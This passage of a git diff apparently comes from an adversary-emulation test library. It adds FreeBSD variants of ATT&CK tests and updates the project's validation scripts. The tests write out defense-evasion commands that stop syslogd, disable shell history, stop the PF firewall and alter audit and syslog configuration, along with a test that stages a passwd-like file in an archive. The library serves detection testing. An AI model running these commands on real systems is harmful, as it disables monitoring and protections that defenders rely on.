|| which python3` $which_python -c "import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();" cleanup_command: | rm #{path_to_output_file} -- name: Compressing data using bz2 in Python (Linux) +- name: Compressing data using bz2 in Python (FreeBSD/Linux) auto_generated_guid: c75612b2-9de0-4d7c-879c-10d7b077072d description: | Uses bz2 from Python to compress files supported_platforms: + - freebsd - linux input_arguments: path_to_input_file: @@ -48,7 +50,7 @@ atomic_tests: description: Path of the file that you want your .bz2 file to be type: path default: /tmp/passwd.bz2 - dependency_executor_name: bash + dependency_executor_name: sh dependencies: - description: | Requires Python @@ -57,18 +59,19 @@ atomic_tests: get_prereq_command: | echo "please install python to run this test"; exit 1 executor: - name: bash + name: sh elevation_required: false command: | which_python=`which python || which python3` $which_python -c "import bz2;input_file=open('#{path_to_input_file}','rb');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open('#{path_to_output_file}','w+');output_file.write(str(bz2content));output_file.close();" cleanup_command: | rm #{path_to_output_file} -- name: Compressing data using zipfile in Python (Linux) +- name: Compressing data using zipfile in Python (FreeBSD/Linux) auto_generated_guid: 001a042b-859f-44d9-bf81-fd1c4e2200b0 description: | Uses zipfile from Python to compress files supported_platforms: + - freebsd - linux input_arguments: path_to_input_file: @@ -79,7 +82,7 @@ atomic_tests: description: Path of the file that you want your .zip file to be type: path default: /tmp/passwd.zip - dependency_executor_name: bash + dependency_executor_name: sh dependencies: - description: | Requires Python @@ -88,18 +91,19 @@ atomic_tests: get_prereq_command: | echo "please install python to run this test"; exit 1 executor: - name: bash + name: sh elevation_required: false command: | which_python=`which python || which python3` $which_python -c "from zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')" cleanup_command: | rm #{path_to_output_file} -- name: Compressing data using tarfile in Python (Linux) +- name: Compressing data using tarfile in Python (FreeBSD/Linux) auto_generated_guid: e86f1b4b-fcc1-4a2a-ae10-b49da01458db description: | Uses tarfile from Python to compress files supported_platforms: + - freebsd - linux input_arguments: path_to_input_file: @@ -110,7 +114,7 @@ atomic_tests: description: Path of the file that you want your .tar.gz file to be type: path default: /tmp/passwd.tar.gz - dependency_executor_name: bash + dependency_executor_name: sh dependencies: - description: | Requires Python @@ -119,7 +123,7 @@ atomic_tests: get_prereq_command: | echo "please install python to run this test"; exit 1 executor: - name: bash + name: sh elevation_required: false command: | which_python=`which python || which python3` diff --git a/atomics/T1562.001/T1562.001.yaml b/atomics/T1562.001/T1562.001.yaml index 407de5f4ba..68c8633229 100644 --- a/atomics/T1562.001/T1562.001.yaml +++ b/atomics/T1562.001/T1562.001.yaml @@ -39,6 +39,21 @@ atomic_tests: #{cleanup_command} name: sh elevation_required: true +- name: Disable syslog (freebsd) + description: | + Disables syslog collection + supported_platforms: + - freebsd + executor: + command: | + service syslogd stop + sysrc syslogd_enable="NO" + cleanup_command: | + sysrc syslogd_enable="YES" + service syslogd start + name: sh + elevation_required: true + - name: Disable Cb Response auto_generated_guid: ae8943f7-0f8d-44de-962d-fbc2e2f03eb8 description: | @@ -832,8 +847,9 @@ atomic_tests: auto_generated_guid: e74e4c63-6fde-4ad2-9ee8-21c3a1733114 description: | disable swapping of device paging that impaire the compromised host to swap data if the RAM is full. Awfulshred wiper used this technique as an additional - payload to the compromised host and to make sure that there will be no recoverable data due to swap feature of linux. + payload to the compromised host and to make sure that there will be no recoverable data due to swap feature of FreeBSD/linux. supported_platforms: + - freebsd - linux executor: command: | diff --git a/atomics/T1562.003/T1562.003.yaml b/atomics/T1562.003/T1562.003.yaml index 1e7d2f8e76..d425611ad7 100644 --- a/atomics/T1562.003/T1562.003.yaml +++ b/atomics/T1562.003/T1562.003.yaml @@ -18,6 +18,21 @@ atomic_tests: export HISTCONTROL=ignoreboth #{evil_command} name: sh +- name: Disable history collection (freebsd) + description: | + Disables history collection in shells + supported_platforms: + - freebsd + input_arguments: + evil_command: + description: Command to run after shell history collection is disabled + type: string + default: whoami + executor: + command: | + export HISTSIZE=0 + #{evil_command} + name: sh - name: Mac HISTCONTROL auto_generated_guid: 468566d5-83e5-40c1-b338-511e1659628d description: | @@ -102,6 +117,24 @@ atomic_tests: # -> $HISTFILESIZE is zero cleanup_command: | export HISTCONTROL=$(echo $TEST) +- name: Setting the HISTSIZE environment variable + description: | + An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system. + + Note: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it to zero 3. confirm that HISTSIZE is set to zero. + supported_platforms: + - freebsd + executor: + name: sh + elevation_required: false + command: | + echo $HISTSIZE + export HISTSIZE=0 + if [ $(echo $HISTSIZE) -eq 0 ]; then echo "\$HISTSIZE is zero"; fi + # -> $HISTSIZE is zero + cleanup_command: | + export HISTSIZE=100 + - name: Setting the HISTFILE environment variable auto_generated_guid: b3dacb6c-a9e3-44ec-bf87-38db60c5cad1 description: | @@ -121,6 +154,23 @@ atomic_tests: # -> $HISTFILE is /dev/null cleanup_command: | export HISTFILE=$(echo $TEST) +- name: Setting the HISTFILE environment variable (freebsd) + description: | + An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system. + + Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null. + supported_platforms: + - freebsd + executor: + name: sh + elevation_required: false + command: | + echo $HISTFILE + export HISTFILE="/dev/null" + if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; fi + # -> $HISTFILE is /dev/null + cleanup_command: | + export HISTFILE=~/.sh_history - name: Setting the HISTIGNORE environment variable auto_generated_guid: f12acddb-7502-4ce6-a146-5b62c59592f1 description: | diff --git a/atomics/T1562.004/T1562.004.yaml b/atomics/T1562.004/T1562.004.yaml index 90e069fd36..8aba3f559f 100644 --- a/atomics/T1562.004/T1562.004.yaml +++ b/atomics/T1562.004/T1562.004.yaml @@ -112,6 +112,30 @@ atomic_tests: cleanup_command: | ufw enable ufw status verbose +- name: Stop/Start Packet Filter + description: | + Stop the Packet Filter if installed. + supported_platforms: + - freebsd + dependency_executor_name: sh + dependencies: + - description: | + Check if pfctl is installed on the machine. + prereq_command: | + if [ ! -x "$(command -v pfctl)" ]; then echo -e "\n***** PF NOT installed *****\n"; exit 1; fi + if [ "$(kldstat -n pf)" = "" ]; then echo -e "\n***** PF inactive *****\n"; exit 1; fi + get_prereq_command: | + echo "" + executor: + name: sh + elevation_required: true + command: | + service pf stop + service pf disable + cleanup_command: | + service pf enable + service pf start + service pf status - name: Stop/Start UFW firewall systemctl auto_generated_guid: 9fd99609-1854-4f3c-b47b-97d9a5972bd1 description: | @@ -183,6 +207,31 @@ atomic_tests: cleanup_command: | { echo y; echo response; } | ufw delete 1 ufw status numbered +- name: Add and delete Packet Filter rules + description: | + Add and delete a rule on the Packet Filter (PF) if installed and enabled. + supported_platforms: + - freebsd + dependency_executor_name: sh + dependencies: + - description: | + Check if pf is installed on the machine and enabled. + prereq_command: | + if [ ! -x "$(command -v pfctl)" ]; then echo -e "\n***** PF NOT installed *****\n"; exit 1; fi + if [ "$(kldstat -n pf)" = "" ]; then echo -e "\n***** PF inactive *****\n"; exit 1; fi + get_prereq_command: | + echo "anchor pf-rules >> /etc/pf.conf" + pfctl -f /etc/pf.conf + executor: + name: sh + elevation_required: true + command: | + echo "block in proto tcp from 1.2.3.4 to any" | pfctl -a pf-rules -f - + pfctl -a pf-rules -s rules + cleanup_command: | + pfctl -a pf-rules -F rules + sed -i "" '/anchor pf-rules/d' + pfctl -f /etc/pf.conf - name: Edit UFW firewall user.rules file auto_generated_guid: beaf815a-c883-4194-97e9-fdbbb2bbdd7c description: | diff --git a/atomics/T1562.006/T1562.006.yaml b/atomics/T1562.006/T1562.006.yaml index c2d2278878..9b857b720d 100644 --- a/atomics/T1562.006/T1562.006.yaml +++ b/atomics/T1562.006/T1562.006.yaml @@ -37,6 +37,23 @@ atomic_tests: sed -i '$ d' /etc/#{libaudit_config_file_name} name: bash elevation_required: true +- name: 'Auditing Configuration Changes on FreeBSD Host' + description: | + Emulates modification of auditd configuration files + supported_platforms: + - freebsd + input_arguments: + auditd_config_file_name: + description: The name of the auditd configuration file to be changed + type: string + default: audit_event + executor: + command: | + echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name} + cleanup_command: | + sed -i "" '/#art_test_1562_006_1/d' /etc/security/#{auditd_config_file_name} + name: sh + elevation_required: true - name: 'Logging Configuration Changes on Linux Host' auto_generated_guid: 7d40bc58-94c7-4fbb-88d9-ebce9fcdb60c description: | @@ -79,6 +96,28 @@ atomic_tests: fi name: bash elevation_required: true +- name: 'Logging Configuration Changes on FreeBSD Host' + description: | + Emulates modification of syslog configuration. + supported_platforms: + - freebsd + input_arguments: + syslog_config_file_name: + description: The name of the syslog configuration file to be changed + type: string + default: syslog.conf + executor: + command: | + if [ -f "/etc/#{syslog_config_file_name}" ]; + then echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name} + fi + cleanup_command: | + if [ -f "/etc/#{syslog_config_file_name}" ]; + then sed -i "" '/#art_test_1562_006_2/d' /etc/#{syslog_config_file_name} + fi + name: sh + elevation_required: true + - name: Disable Powershell ETW Provider - Windows auto_generated_guid: 6f118276-121d-4c09-bb58-a8fb4a72ee84 description: This test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions. diff --git a/atomics/T1564.001/T1564.001.yaml b/atomics/T1564.001/T1564.001.yaml index 791dd0acab..1d530fa07b 100644 --- a/atomics/T1564.001/T1564.001.yaml +++ b/atomics/T1564.001/T1564.001.yaml @@ -6,6 +6,7 @@ atomic_tests: description: | Creates a hidden file inside a hidden directory supported_platforms: + - freebsd - linux - macos executor: diff --git a/atomics/T1571/T1571.yaml b/atomics/T1571/T1571.yaml index 62e69092ec..0f8cb3ab03 100644 --- a/atomics/T1571/T1571.yaml +++ b/atomics/T1571/T1571.yaml @@ -26,6 +26,7 @@ atomic_tests: description: | Testing uncommonly used port utilizing telnet. supported_platforms: + - freebsd - linux - macos input_arguments: diff --git a/atomics/T1614.001/T1614.001.yaml b/atomics/T1614.001/T1614.001.yaml index b3e411c31a..a28e04df55 100644 --- a/atomics/T1614.001/T1614.001.yaml +++ b/atomics/T1614.001/T1614.001.yaml @@ -33,6 +33,7 @@ atomic_tests: Upon successful execution, the output will contain the environment variables that indicate the 5 character locale that can be looked up to correlate the language and territory. supported_platforms: + - freebsd - linux executor: command: | @@ -87,6 +88,7 @@ atomic_tests: also used as a builtin command that does not generate syscall telemetry but does provide a list of the environment variables. supported_platforms: + - freebsd - linux dependency_executor_name: sh dependencies: diff --git a/bin/generate_labels.py b/bin/generate_labels.py index 8545ac8b3d..82e9b81d9c 100644 --- a/bin/generate_labels.py +++ b/bin/generate_labels.py @@ -36,6 +36,7 @@ class GithubAPI: labels = { "windows": "windows", "macos": "macOS", + "freebsd": "freebsd", "linux": "linux", "azure-ad": "ADFS", "containers": "containers", @@ -50,6 +51,7 @@ class GithubAPI: "windows": ["clr2of8", "MHaggis"], "linux": ["josehelps", "cyberbuff"], "macos": ["josehelps", "cyberbuff"], + "freebsd": ["josehelps", "cyberbuff"], "containers": ["patel-bhavin"], "iaas:gcp": ["patel-bhavin"], "iaas:aws": ["patel-bhavin"], diff --git a/bin/validate/atomic-red-team.schema.yaml b/bin/validate/atomic-red-team.schema.yaml index 9f03c2bb41..5d15a90d12 100644 --- a/bin/validate/atomic-red-team.schema.yaml +++ b/bin/validate/atomic-red-team.schema.yaml @@ -46,6 +46,7 @@ $defs: - windows - macos - linux + - freebsd - office-365 - azure-ad - google-workspace diff --git a/bin/validate/validate.py b/bin/validate/validate.py index 72c8a6f978..927f9e22e9 100644 --- a/bin/validate/validate.py +++ b/bin/validate/validate.py @@ -69,7 +69,7 @@ def validate_input_args(self, file: DirEntry): if deps: commands += [d.get("get_prereq_command") for d in deps] commands += [d.get("prereq_command") for d in deps] - commands = filter(lambda x: x is not None, commands) + commands = list(filter(lambda x: x is not None, commands)) if not any([variable in c for c in commands]): self.errors[file.path].append(UnusedArgument(file.path, k, index + 1))